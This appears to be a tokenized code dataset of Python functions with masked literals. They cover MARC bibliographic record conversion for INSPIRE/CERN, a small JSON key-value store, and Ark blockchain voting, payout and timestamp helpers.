{"signature": "def update_collections(self):", "body": "for value in record_get_field_values(self.record, '<STR_LIT>', code='<STR_LIT:a>'):<EOL><INDENT>if '<STR_LIT>' in value.upper():<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in value.upper():<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in value.upper():<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in value.upper():<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in value.upper():<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>elif '<STR_LIT>' in value.upper() and\"<STR_LIT>\" not in self.collections:<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL>if self.is_published() and \"<STR_LIT>\" not in self.collections:<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in value.upper():<EOL><INDENT>self.hidden = True<EOL><DEDENT><DEDENT>record_delete_fields(self.record, \"<STR_LIT>\")<EOL>if not self.collections:<EOL><INDENT>self.collections.add('<STR_LIT>')<EOL><DEDENT>for collection in self.collections:<EOL><INDENT>record_add_field(self.record,<EOL>tag='<STR_LIT>',<EOL>subfields=[('<STR_LIT:a>', collection)])<EOL>if collection in self.collection_base:<EOL><INDENT>subs = [('<STR_LIT:a>', self.collection_base[collection])]<EOL>record_add_field(self.record,<EOL>tag='<STR_LIT>',<EOL>subfields=subs)<EOL><DEDENT><DEDENT>", "docstring": "Try to determine which collections this record should belong to.", "id": "f7926:c0:m10"}
{"signature": "def update_notes(self):", "body": "fields = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for field in fields:<EOL><INDENT>subs = field_get_subfields(field)<EOL>for sub in subs.get('<STR_LIT:a>', []):<EOL><INDENT>sub = sub.strip()  <EOL>if sub.startswith(\"<STR_LIT:*>\") and sub.endswith(\"<STR_LIT:*>\"):<EOL><INDENT>record_delete_field(self.record, tag=\"<STR_LIT>\",<EOL>field_position_global=field[<NUM_LIT:4>])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Remove INSPIRE specific notes.", "id": "f7926:c0:m11"}
{"signature": "def update_title_to_proceeding(self):", "body": "titles = record_get_field_instances(self.record,<EOL>tag=\"<STR_LIT>\")<EOL>for title in titles:<EOL><INDENT>subs = field_get_subfields(title)<EOL>new_subs = []<EOL>if \"<STR_LIT:a>\" in subs:<EOL><INDENT>new_subs.append((\"<STR_LIT:a>\", subs['<STR_LIT:a>'][<NUM_LIT:0>]))<EOL><DEDENT>if \"<STR_LIT:b>\" in subs:<EOL><INDENT>new_subs.append((\"<STR_LIT:c>\", subs['<STR_LIT:b>'][<NUM_LIT:0>]))<EOL><DEDENT>record_add_field(self.record,<EOL>tag=\"<STR_LIT>\",<EOL>subfields=new_subs)<EOL><DEDENT>record_delete_fields(self.record, tag=\"<STR_LIT>\")<EOL>record_delete_fields(self.record, tag=\"<STR_LIT>\")<EOL>", "docstring": "Move title info from 245 to 111 proceeding style.", "id": "f7926:c0:m12"}
{"signature": "def update_author_to_proceeding(self):", "body": "titles = record_get_field_instances(self.record,<EOL>tag=\"<STR_LIT>\")<EOL>for title in titles:<EOL><INDENT>subs = field_get_subfields(title)<EOL>new_subs = []<EOL>if \"<STR_LIT:a>\" in subs:<EOL><INDENT>new_subs.append((\"<STR_LIT:a>\", subs['<STR_LIT:a>'][<NUM_LIT:0>]))<EOL><DEDENT>if \"<STR_LIT:b>\" in subs:<EOL><INDENT>new_subs.append((\"<STR_LIT:c>\", subs['<STR_LIT:b>'][<NUM_LIT:0>]))<EOL><DEDENT>record_add_field(self.record,<EOL>tag=\"<STR_LIT>\",<EOL>subfields=new_subs)<EOL><DEDENT>record_delete_fields(self.record, tag=\"<STR_LIT>\")<EOL>record_delete_fields(self.record, tag=\"<STR_LIT>\")<EOL>", "docstring": "Move author info from 245 to 111 proceeding style.", "id": "f7926:c0:m13"}
{"signature": "def update_experiments(self):", "body": "<EOL>for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>subs = field_get_subfields(field)<EOL>acc_experiment = subs.get(\"<STR_LIT:e>\", [])<EOL>if not acc_experiment:<EOL><INDENT>acc_experiment = subs.get(\"<STR_LIT:a>\", [])<EOL>if not acc_experiment:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>experiment = acc_experiment[-<NUM_LIT:1>]<EOL>e_suffix = \"<STR_LIT>\"<EOL>if \"<STR_LIT>\" in experiment or\"<STR_LIT>\" in experiment or\"<STR_LIT>\" in experiment:<EOL><INDENT>splitted_experiment = experiment.split(\"<STR_LIT:->\")<EOL>e_suffix = \"<STR_LIT:->\".join(splitted_experiment[<NUM_LIT:2>:])<EOL>if e_suffix.startswith(\"<STR_LIT:0>\"):<EOL><INDENT>e_suffix = e_suffix[<NUM_LIT:1>:]<EOL><DEDENT>experiment = \"<STR_LIT:->\".join(splitted_experiment[:<NUM_LIT:2>])  <EOL><DEDENT>translated_experiment = self.get_config_item(experiment,<EOL>\"<STR_LIT>\")<EOL>if not translated_experiment:<EOL><INDENT>continue<EOL><DEDENT>new_subs = []<EOL>if \"<STR_LIT>\" in translated_experiment:<EOL><INDENT>experiment_a, experiment_e = translated_experiment.split(\"<STR_LIT>\")<EOL>new_subs.append((\"<STR_LIT:a>\", experiment_a.replace(\"<STR_LIT:->\", \"<STR_LIT:U+0020>\")))<EOL><DEDENT>else:<EOL><INDENT>experiment_e = translated_experiment<EOL><DEDENT>new_subs.append((\"<STR_LIT:e>\", experiment_e.replace(\"<STR_LIT:->\", \"<STR_LIT:U+0020>\") + e_suffix))<EOL>record_delete_field(self.record, tag=\"<STR_LIT>\",<EOL>field_position_global=field[<NUM_LIT:4>])<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=new_subs)<EOL><DEDENT>", "docstring": "Experiment mapping.", "id": "f7926:c0:m14"}
{"signature": "def update_reportnumbers(self):", "body": "report_037_fields = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for field in report_037_fields:<EOL><INDENT>subs = field_get_subfields(field)<EOL>for val in subs.get(\"<STR_LIT:a>\", []):<EOL><INDENT>if \"<STR_LIT>\" not in val:<EOL><INDENT>record_delete_field(self.record,<EOL>tag=\"<STR_LIT>\",<EOL>field_position_global=field[<NUM_LIT:4>])<EOL>new_subs = [(code, val[<NUM_LIT:0>]) for code, val in subs.items()]<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=new_subs)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Update reportnumbers.", "id": "f7926:c0:m15"}
{"signature": "def update_authors(self):", "body": "author_names = record_get_field_instances(self.record, '<STR_LIT:100>')<EOL>author_names.extend(record_get_field_instances(self.record, '<STR_LIT>'))<EOL>for field in author_names:<EOL><INDENT>subs = field_get_subfields(field)<EOL>for idx, (key, value) in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if key == '<STR_LIT:a>':<EOL><INDENT>field[<NUM_LIT:0>][idx] = ('<STR_LIT:a>', value.replace(\"<STR_LIT:.>\", \"<STR_LIT:U+0020>\").strip())<EOL><DEDENT>elif key == '<STR_LIT:v>':<EOL><INDENT>del field[<NUM_LIT:0>][idx]<EOL><DEDENT><DEDENT>if subs.get(\"<STR_LIT:u>\", None) == \"<STR_LIT>\":<EOL><INDENT>self.tag_as_cern = True<EOL><DEDENT><DEDENT>", "docstring": "100 & 700 punctuate author names.", "id": "f7926:c0:m16"}
{"signature": "def update_isbn(self):", "body": "isbns = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for field in isbns:<EOL><INDENT>for idx, (key, value) in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if key == '<STR_LIT:a>':<EOL><INDENT>field[<NUM_LIT:0>][idx] = ('<STR_LIT:a>', value.replace(\"<STR_LIT:->\", \"<STR_LIT>\").strip())<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Remove dashes from ISBN.", "id": "f7926:c0:m17"}
{"signature": "def update_dois(self):", "body": "dois = record_get_field_instances(self.record, '<STR_LIT>', ind1=\"<STR_LIT>\")<EOL>all_dois = {}<EOL>for field in dois:<EOL><INDENT>subs = field_get_subfield_instances(field)<EOL>subs_dict = dict(subs)<EOL>if subs_dict.get('<STR_LIT:a>'):<EOL><INDENT>if subs_dict['<STR_LIT:a>'] in all_dois:<EOL><INDENT>record_delete_field(self.record, tag='<STR_LIT>', ind1='<STR_LIT>', field_position_global=field[<NUM_LIT:4>])<EOL>continue<EOL><DEDENT>all_dois[subs_dict['<STR_LIT:a>']] = field<EOL><DEDENT><DEDENT>", "docstring": "Remove duplicate BibMatch DOIs.", "id": "f7926:c0:m18"}
{"signature": "def update_journals(self):", "body": "for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>subs = field_get_subfield_instances(field)<EOL>new_subs = []<EOL>volume_letter = \"<STR_LIT>\"<EOL>journal_name = \"<STR_LIT>\"<EOL>for idx, (key, value) in enumerate(subs):<EOL><INDENT>if key == '<STR_LIT:p>':<EOL><INDENT>journal_name = self.get_config_item(value, \"<STR_LIT>\", allow_substring=False)<EOL>journal_name = journal_name.replace('<STR_LIT>', '<STR_LIT:.>').replace('<STR_LIT:.>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>').strip()<EOL><DEDENT>elif key == '<STR_LIT:v>':<EOL><INDENT>volume_letter = value<EOL><DEDENT>else:<EOL><INDENT>new_subs.append((key, value))<EOL><DEDENT><DEDENT>if not journal_name == \"<STR_LIT>\":<EOL><INDENT>letter = return_letters_from_string(volume_letter)<EOL>if letter:<EOL><INDENT>journal_name = \"<STR_LIT>\".format(journal_name, letter)<EOL>volume_letter = volume_letter.strip(letter)<EOL><DEDENT><DEDENT>if journal_name:<EOL><INDENT>new_subs.append((\"<STR_LIT:p>\", journal_name))<EOL><DEDENT>if volume_letter:<EOL><INDENT>new_subs.append((\"<STR_LIT:v>\", volume_letter))<EOL><DEDENT>record_delete_field(self.record, tag=\"<STR_LIT>\",<EOL>field_position_global=field[<NUM_LIT:4>])<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=new_subs)<EOL><DEDENT>", "docstring": "773 journal translations.", "id": "f7926:c0:m19"}
{"signature": "def update_thesis_supervisors(self):", "body": "for field in record_get_field_instances(self.record, '<STR_LIT>'):<EOL><INDENT>subs = list(field[<NUM_LIT:0>])<EOL>subs.append((\"<STR_LIT:e>\", \"<STR_LIT>\"))<EOL>record_add_field(self.record, '<STR_LIT>', subfields=subs)<EOL><DEDENT>record_delete_fields(self.record, '<STR_LIT>')<EOL>", "docstring": "700 -> 701 Thesis supervisors.", "id": "f7926:c0:m20"}
{"signature": "def update_thesis_information(self):", "body": "fields_501 = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for field in fields_501:<EOL><INDENT>new_subs = []<EOL>for key, value in field[<NUM_LIT:0>]:<EOL><INDENT>if key == '<STR_LIT:b>':<EOL><INDENT>new_subs.append(('<STR_LIT:a>', value))<EOL><DEDENT>elif key == '<STR_LIT:c>':<EOL><INDENT>new_subs.append(('<STR_LIT:b>', value))<EOL><DEDENT>elif key == '<STR_LIT:d>':<EOL><INDENT>new_subs.append(('<STR_LIT:c>', value))<EOL><DEDENT>else:<EOL><INDENT>new_subs.append((key, value))<EOL><DEDENT><DEDENT>record_delete_field(self.record, tag=\"<STR_LIT>\",<EOL>field_position_global=field[<NUM_LIT:4>])<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=new_subs)<EOL><DEDENT>", "docstring": "501 degree info - move subfields.", "id": "f7926:c0:m21"}
{"signature": "def update_pagenumber(self):", "body": "pages = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for field in pages:<EOL><INDENT>for idx, (key, value) in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if key == '<STR_LIT:a>':<EOL><INDENT>field[<NUM_LIT:0>][idx] = ('<STR_LIT:a>', \"<STR_LIT>\".format(value))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "300 page number.", "id": "f7926:c0:m22"}
{"signature": "def update_date(self):", "body": "dates_269 = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for idx, field in enumerate(dates_269):<EOL><INDENT>new_subs = []<EOL>old_subs = field[<NUM_LIT:0>]<EOL>for code, value in old_subs:<EOL><INDENT>if code == \"<STR_LIT:c>\":<EOL><INDENT>new_subs.append((<EOL>\"<STR_LIT:c>\",<EOL>convert_date_from_iso_to_human(value)<EOL>))<EOL><DEDENT>else:<EOL><INDENT>new_subs.append((code, value))<EOL><DEDENT><DEDENT>dates_269[idx] = field_swap_subfields(field, new_subs)<EOL><DEDENT>", "docstring": "269 Date normalization.", "id": "f7926:c0:m23"}
{"signature": "def update_date_year(self):", "body": "dates = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for field in dates:<EOL><INDENT>for idx, (key, value) in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if key == '<STR_LIT:c>':<EOL><INDENT>field[<NUM_LIT:0>][idx] = ('<STR_LIT:c>', value[:<NUM_LIT:4>])<EOL><DEDENT>elif key == '<STR_LIT:t>':<EOL><INDENT>del field[<NUM_LIT:0>][idx]<EOL><DEDENT><DEDENT><DEDENT>if not dates:<EOL><INDENT>published_years = record_get_field_values(self.record, \"<STR_LIT>\", code=\"<STR_LIT:y>\")<EOL>if published_years:<EOL><INDENT>record_add_field(<EOL>self.record, \"<STR_LIT>\", subfields=[(\"<STR_LIT:c>\", published_years[<NUM_LIT:0>][:<NUM_LIT:4>])])<EOL><DEDENT>else:<EOL><INDENT>other_years = record_get_field_values(self.record, \"<STR_LIT>\", code=\"<STR_LIT:c>\")<EOL>if other_years:<EOL><INDENT>record_add_field(<EOL>self.record, \"<STR_LIT>\", subfields=[(\"<STR_LIT:c>\", other_years[<NUM_LIT:0>][:<NUM_LIT:4>])])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "260 Date normalization.", "id": "f7926:c0:m24"}
{"signature": "def is_published(self):", "body": "field773 = record_get_field_instances(self.record, '<STR_LIT>')<EOL>for f773 in field773:<EOL><INDENT>if '<STR_LIT:c>' in field_get_subfields(f773):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check fields 980 and 773 to see if the record has already been published.\n\n        :return: True is published, else False", "id": "f7926:c0:m25"}
{"signature": "def update_links_and_ffts(self):", "body": "for field in record_get_field_instances(self.record,<EOL>tag='<STR_LIT>',<EOL>ind1='<STR_LIT:4>'):<EOL><INDENT>subs = field_get_subfields(field)<EOL>newsubs = []<EOL>url = subs.get(\"<STR_LIT:u>\", [])<EOL>if not url:<EOL><INDENT>record_delete_field(self.record, '<STR_LIT>', ind1='<STR_LIT:4>',<EOL>field_position_global=field[<NUM_LIT:4>])<EOL>continue<EOL><DEDENT>url = url[<NUM_LIT:0>]<EOL>if \"<STR_LIT>\" in url and url.endswith(\"<STR_LIT>\"):<EOL><INDENT>newsubs.append(('<STR_LIT:a>', url))<EOL>description = subs.get(\"<STR_LIT:y>\", [])<EOL>if description:<EOL><INDENT>newsubs.append(('<STR_LIT:d>', description[<NUM_LIT:0>]))<EOL><DEDENT>if newsubs:<EOL><INDENT>record_add_field(self.record, '<STR_LIT>', subfields=newsubs)<EOL>record_delete_field(self.record, '<STR_LIT>', ind1='<STR_LIT:4>',<EOL>field_position_global=field[<NUM_LIT:4>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for idx, (key, value) in enumerate(field[<NUM_LIT:0>]):<EOL><INDENT>if key == '<STR_LIT:w>':<EOL><INDENT>del field[<NUM_LIT:0>][idx]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "FFT (856) Dealing with files.", "id": "f7926:c0:m26"}
{"signature": "def update_languages(self):", "body": "language_fields = record_get_field_instances(self.record, '<STR_LIT>')<EOL>language = \"<STR_LIT>\"<EOL>record_delete_fields(self.record, \"<STR_LIT>\")<EOL>for field in language_fields:<EOL><INDENT>subs = field_get_subfields(field)<EOL>if '<STR_LIT:a>' in subs:<EOL><INDENT>language = self.get_config_item(subs['<STR_LIT:a>'][<NUM_LIT:0>], \"<STR_LIT>\")<EOL>break<EOL><DEDENT><DEDENT>new_subs = [('<STR_LIT:a>', language)]<EOL>record_add_field(self.record, \"<STR_LIT>\", subfields=new_subs)<EOL>", "docstring": "041 Language.", "id": "f7926:c0:m27"}
{"signature": "def collapse_initials(name):", "body": "if len(name.split()) > <NUM_LIT:1>:<EOL><INDENT>name = re.sub(r'<STR_LIT>', r'<STR_LIT>', name)<EOL><DEDENT>return name<EOL>", "docstring": "Removes the space between initials.\n        eg T. A. --> T.A.", "id": "f7928:m1"}
{"signature": "def fix_name_capitalization(lastname, givennames):", "body": "lastnames = lastname.split()<EOL>if len(lastnames) == <NUM_LIT:1>:<EOL><INDENT>if '<STR_LIT:->' in lastname:<EOL><INDENT>names = lastname.split('<STR_LIT:->')<EOL>names = [a[<NUM_LIT:0>] + a[<NUM_LIT:1>:].lower() for a in names]<EOL>lastname = '<STR_LIT:->'.join(names)<EOL><DEDENT>else:<EOL><INDENT>lastname = lastname[<NUM_LIT:0>] + lastname[<NUM_LIT:1>:].lower()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>names = []<EOL>for name in lastnames:<EOL><INDENT>if re.search(r'<STR_LIT>', name):<EOL><INDENT>names.append(name)<EOL><DEDENT>else:<EOL><INDENT>names.append(name[<NUM_LIT:0>] + name[<NUM_LIT:1>:].lower())<EOL><DEDENT><DEDENT>lastname = '<STR_LIT:U+0020>'.join(names)<EOL>lastname = collapse_initials(lastname)<EOL><DEDENT>names = []<EOL>for name in givennames:<EOL><INDENT>if re.search(r'<STR_LIT>', name):<EOL><INDENT>names.append(name)<EOL><DEDENT>else:<EOL><INDENT>names.append(name[<NUM_LIT:0>] + name[<NUM_LIT:1>:].lower())<EOL><DEDENT><DEDENT>givennames = '<STR_LIT:U+0020>'.join(names)<EOL>return lastname, givennames<EOL>", "docstring": "Converts capital letters to lower keeps first letter capital.", "id": "f7928:m2"}
{"signature": "def get_all_text(node):", "body": "if node.nodeType == node.TEXT_NODE:<EOL><INDENT>return node.data<EOL><DEDENT>else:<EOL><INDENT>text_string = \"<STR_LIT>\"<EOL>for child_node in node.childNodes:<EOL><INDENT>text_string += get_all_text(child_node)<EOL><DEDENT>return text_string<EOL><DEDENT>", "docstring": "Recursively extract all text from node.", "id": "f7929:m3"}
{"signature": "def __init__(self, path=None):", "body": "self.db_path = path<EOL>", "docstring": "Initialize a ForgiveDB instance using path as a json file storage.\nIf path is None, ForgiveDB will be in memory.\n\n:param path: the json file path\n:type path: str | unicode", "id": "f7934:c0:m0"}
{"signature": "@property<EOL><INDENT>def in_memory(self):<DEDENT>", "body": "return self.db_path is None<EOL>", "docstring": "indicator for if ForgiveDB is in memory\n:rtype: bool", "id": "f7934:c0:m1"}
{"signature": "def get(self, key, default=None):", "body": "if self.in_memory:<EOL><INDENT>return self._memory_db.get(key, default)<EOL><DEDENT>else:<EOL><INDENT>db = self._read_file()<EOL>return db.get(key, default)<EOL><DEDENT>", "docstring": "Get key value, return default if key doesn't exist", "id": "f7934:c0:m2"}
{"signature": "def set(self, key, value):", "body": "if self.in_memory:<EOL><INDENT>self._memory_db[key] = value<EOL><DEDENT>else:<EOL><INDENT>db = self._read_file()<EOL>db[key] = value<EOL>with open(self.db_path, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(json.dumps(db, ensure_ascii=False, indent=<NUM_LIT:2>))<EOL><DEDENT><DEDENT>", "docstring": "Set key value", "id": "f7934:c0:m3"}
{"signature": "def _read_file(self):", "body": "if not os.path.exists(self.db_path):<EOL><INDENT>return {}<EOL><DEDENT>with open(self.db_path, '<STR_LIT:r>') as f:<EOL><INDENT>content = f.read()<EOL>return json.loads(content)<EOL><DEDENT>", "docstring": "read the db file content\n:rtype: dict", "id": "f7934:c0:m4"}
{"signature": "def get_events_vote_cluster(self, delegate_address):", "body": "delegate_pubkey = self.account_details(address=delegate_address)['<STR_LIT>']<EOL>plusvote = '<STR_LIT>'.format(delegate_pubkey=delegate_pubkey)<EOL>resultset = self._cursor.execute_and_fetchall(\"\"\"<STR_LIT>\"\"\".format(<EOL>address=delegate_address,<EOL>transactions=self.scheme['<STR_LIT>'],<EOL>blocks=self.scheme['<STR_LIT>'],<EOL>mem_accounts=self.scheme['<STR_LIT>'],<EOL>mem_accounts2delegates=self.scheme['<STR_LIT>'],<EOL>votes=self.scheme['<STR_LIT>'],<EOL>plusvote=plusvote))<EOL>res = {}<EOL>for i in resultset:<EOL><INDENT>if i[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>res.update({i[<NUM_LIT:0>]: {<EOL>'<STR_LIT>': i[<NUM_LIT:0>],<EOL>'<STR_LIT>': i[<NUM_LIT:1>],<EOL>'<STR_LIT>': i[<NUM_LIT:2>],<EOL>'<STR_LIT>': i[<NUM_LIT:3>],<EOL>'<STR_LIT>': i[<NUM_LIT:4>],<EOL>'<STR_LIT>': i[<NUM_LIT:5>],<EOL>'<STR_LIT>': i[<NUM_LIT:6>],<EOL>'<STR_LIT:type>': i[<NUM_LIT:7>],<EOL>'<STR_LIT>': i[<NUM_LIT:8>],<EOL>'<STR_LIT>': i[<NUM_LIT:9>],<EOL>'<STR_LIT>': i[<NUM_LIT:10>]<EOL>}})<EOL><DEDENT>elif i[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>res.update({i[<NUM_LIT:0>]: {<EOL>'<STR_LIT>': i[<NUM_LIT:0>],<EOL>'<STR_LIT>': i[<NUM_LIT:1>],<EOL>'<STR_LIT>': i[<NUM_LIT:2>],<EOL>'<STR_LIT>': i[<NUM_LIT:3>],<EOL>'<STR_LIT>': i[<NUM_LIT:8>],<EOL>'<STR_LIT:address>': i[<NUM_LIT:5>],<EOL>'<STR_LIT:username>': i[<NUM_LIT:6>],<EOL>'<STR_LIT>': i[<NUM_LIT:4>],<EOL>'<STR_LIT>': i[<NUM_LIT:10>]<EOL>}})<EOL><DEDENT><DEDENT>return res<EOL>", "docstring": "Returns all transactions and forged blocks by voters clustered around a single delegate_address", "id": "f7945:c2:m14"}
{"signature": "def tbw(self, delegate_address, blacklist=None, share_fees=False, compound_interest=False):", "body": "if not blacklist:<EOL><INDENT>blacklist = []<EOL><DEDENT>delegate_public_key = self.account_details(address=delegate_address)['<STR_LIT>']<EOL>height_at_calculation = self.node_height_details()['<STR_LIT>']<EOL>minvote = '<STR_LIT>'.format(delegate_public_key)<EOL>plusvote = '<STR_LIT>'.format(delegate_public_key)<EOL>events = self.get_events_vote_cluster(delegate_address)<EOL>votes = self.get_historic_voters(delegate_address)<EOL>blocks = self.get_blocks(delegate_address)<EOL>voter_dict = {}<EOL>for voter in votes:<EOL><INDENT>voter_dict.update({voter: {<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT:status>': False,<EOL>'<STR_LIT>': votes[voter]['<STR_LIT>'],<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT>': votes[voter]['<STR_LIT>'],<EOL>'<STR_LIT>': []}<EOL>})<EOL><DEDENT>for blacklisted_address in blacklist:<EOL><INDENT>voter_dict.pop(blacklisted_address, None)<EOL><DEDENT>last_payout = self.get_last_out_transactions(delegate_address)<EOL>for payout in last_payout:<EOL><INDENT>try:<EOL><INDENT>voter_dict[payout]['<STR_LIT>'] = last_payout[payout]['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>delta_state = {}<EOL>no_state_change = False<EOL>block_keys = sorted(list(blocks.keys()))<EOL>block_nr = <NUM_LIT:0><EOL>try:<EOL><INDENT>for id in events:<EOL><INDENT>if events[id]['<STR_LIT>'] > blocks[block_keys[block_nr]]['<STR_LIT>']:<EOL><INDENT>block_nr += <NUM_LIT:1><EOL>if no_state_change:<EOL><INDENT>for x in delta_state:<EOL><INDENT>voter_dict[x]['<STR_LIT>'] += delta_state[x]<EOL><DEDENT>continue<EOL><DEDENT>poolbalance = <NUM_LIT:0><EOL>delta_state = {}<EOL>for i in voter_dict:<EOL><INDENT>if compound_interest:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>'] + voter_dict[i]['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>']<EOL><DEDENT>if voter_dict[i]['<STR_LIT:status>']:<EOL><INDENT>poolbalance += balance<EOL><DEDENT><DEDENT>for i in voter_dict:<EOL><INDENT>if compound_interest:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>'] + voter_dict[i]['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>']<EOL><DEDENT>if voter_dict[i]['<STR_LIT:status>'] and voter_dict[i]['<STR_LIT>'] < blocks[block_keys[block_nr]]['<STR_LIT>']:<EOL><INDENT>if share_fees:<EOL><INDENT>share = (balance / poolbalance) * (blocks[block_keys[block_nr]]['<STR_LIT>'] +<EOL>blocks[block_keys[block_nr]]['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>share = (balance / poolbalance) * blocks[block_keys[block_nr]]['<STR_LIT>']<EOL><DEDENT>voter_dict[i]['<STR_LIT>'] += share<EOL>delta_state.update({i: share})<EOL><DEDENT><DEDENT>no_state_change = True<EOL>continue<EOL><DEDENT>no_state_change = False<EOL>if events[id]['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>if events[id]['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>print(events[id]['<STR_LIT>'])<EOL><DEDENT><DEDENT>if events[id]['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>if events[id]['<STR_LIT>'] in voter_dict:<EOL><INDENT>voter_dict[events[id]['<STR_LIT>']]['<STR_LIT>'] += events[id]['<STR_LIT>']<EOL><DEDENT>if events[id]['<STR_LIT>'] in voter_dict:<EOL><INDENT>voter_dict[events[id]['<STR_LIT>']]['<STR_LIT>'] -= (events[id]['<STR_LIT>'] + events[id]['<STR_LIT>'])<EOL><DEDENT>if events[id]['<STR_LIT>'] in voter_dict and events[id]['<STR_LIT:type>'] == <NUM_LIT:3> and plusvote in events[id]['<STR_LIT>']:<EOL><INDENT>voter_dict[events[id]['<STR_LIT>']]['<STR_LIT:status>'] = True<EOL><DEDENT>if events[id]['<STR_LIT>'] in voter_dict and events[id]['<STR_LIT:type>'] == <NUM_LIT:3> and minvote in events[id]['<STR_LIT>']:<EOL><INDENT>voter_dict[events[id]['<STR_LIT>']]['<STR_LIT:status>'] = False<EOL><DEDENT><DEDENT>if events[id]['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>voter_dict[events[id]['<STR_LIT:address>']]['<STR_LIT>'] += (events[id]['<STR_LIT>'] + events[id]['<STR_LIT>'])<EOL><DEDENT><DEDENT>remaining_blocks = len(block_keys) - block_nr - <NUM_LIT:1><EOL>for i in range(remaining_blocks):<EOL><INDENT>for x in delta_state:<EOL><INDENT>voter_dict[x]['<STR_LIT>'] += delta_state[x]<EOL><DEDENT><DEDENT><DEDENT>except IndexError:<EOL><INDENT>raise<EOL><DEDENT>return voter_dict, height_at_calculation<EOL>", "docstring": "This function doesn't work yet. Instead use legacy.trueshare() for a functional tbw script", "id": "f7945:c2:m15"}
{"signature": "def timestamp(t = None, forfilename=False):", "body": "datetimesep = '<STR_LIT:U+0020>'<EOL>timesep     = '<STR_LIT::>'<EOL>if forfilename:<EOL><INDENT>datetimesep = '<STR_LIT:->'<EOL>timesep     = '<STR_LIT:->'<EOL><DEDENT>return time.strftime('<STR_LIT>' + datetimesep +<EOL>'<STR_LIT>' + timesep + '<STR_LIT>' + timesep + '<STR_LIT>',<EOL>time.localtime(t))<EOL>", "docstring": "Returns a human-readable timestamp given a Unix timestamp 't' or\n    for the current time. The Unix timestamp is the number of seconds since\n    start of epoch (1970-01-01 00:00:00).\n    When forfilename is True, then spaces and semicolons are replace with\n    hyphens. The returned string is usable as a (part of a) filename.", "id": "f7947:m2"}
{"signature": "def arktimestamp(arkt, forfilename=False):", "body": "t = arkt + time.mktime((<NUM_LIT>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT:15>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>))<EOL>return '<STR_LIT>' % (arkt, timestamp(t))<EOL>", "docstring": "Returns a human-readable timestamp given an Ark timestamp 'arct'.\n    An Ark timestamp is the number of seconds since Genesis block,\n    2017:03:21 15:55:44.", "id": "f7947:m3"}
{"signature": "def arkt_to_datetime(ark_timestamp):", "body": "return datetime.datetime(<NUM_LIT>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT:15>, <NUM_LIT>, <NUM_LIT>) + datetime.timedelta(seconds=ark_timestamp)<EOL>", "docstring": "convert an ark_timestamp to UTC datetime object", "id": "f7947:m4"}
{"signature": "def arkt_to_unixt(ark_timestamp):", "body": "res = datetime.datetime(<NUM_LIT>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT:15>, <NUM_LIT>, <NUM_LIT>) + datetime.timedelta(seconds=ark_timestamp)<EOL>return res.timestamp()<EOL>", "docstring": "convert ark timestamp to unix timestamp", "id": "f7947:m5"}
{"signature": "def datetime_to_arkt(datetime):", "body": "return datetime.timestamp() - datetime.datetime(<NUM_LIT>, <NUM_LIT:3>, <NUM_LIT>, <NUM_LIT:15>, <NUM_LIT>, <NUM_LIT>).timestamp<EOL>", "docstring": "convert a datetime object to ark timestamp", "id": "f7947:m6"}
